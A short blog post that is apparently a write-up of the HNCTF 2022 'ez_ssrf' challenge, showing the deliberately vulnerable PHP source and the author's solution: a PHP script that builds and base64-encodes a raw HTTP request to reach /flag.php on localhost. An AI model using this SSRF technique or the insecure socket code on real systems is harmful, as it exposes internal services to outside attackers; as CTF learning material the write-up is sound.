CHHHCHHOH 's BLOG

[HNCTF 2022 WEEK2]ez_ssrf

 <?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
} 

host=127.0.0.1&port=80
主要是data的构造
<?php
$ans= "GET /flag.php HTTP/1.1\r\n";
$ans .= "Host: 127.0.0.1\r\n";
$ans .= "Connection: close\r\n\r\n";
echo base64_encode($ans);
?>
直接自己写请求头然后编码好像没有\r,然后就一直400,最好还是用php脚本写。

添加新评论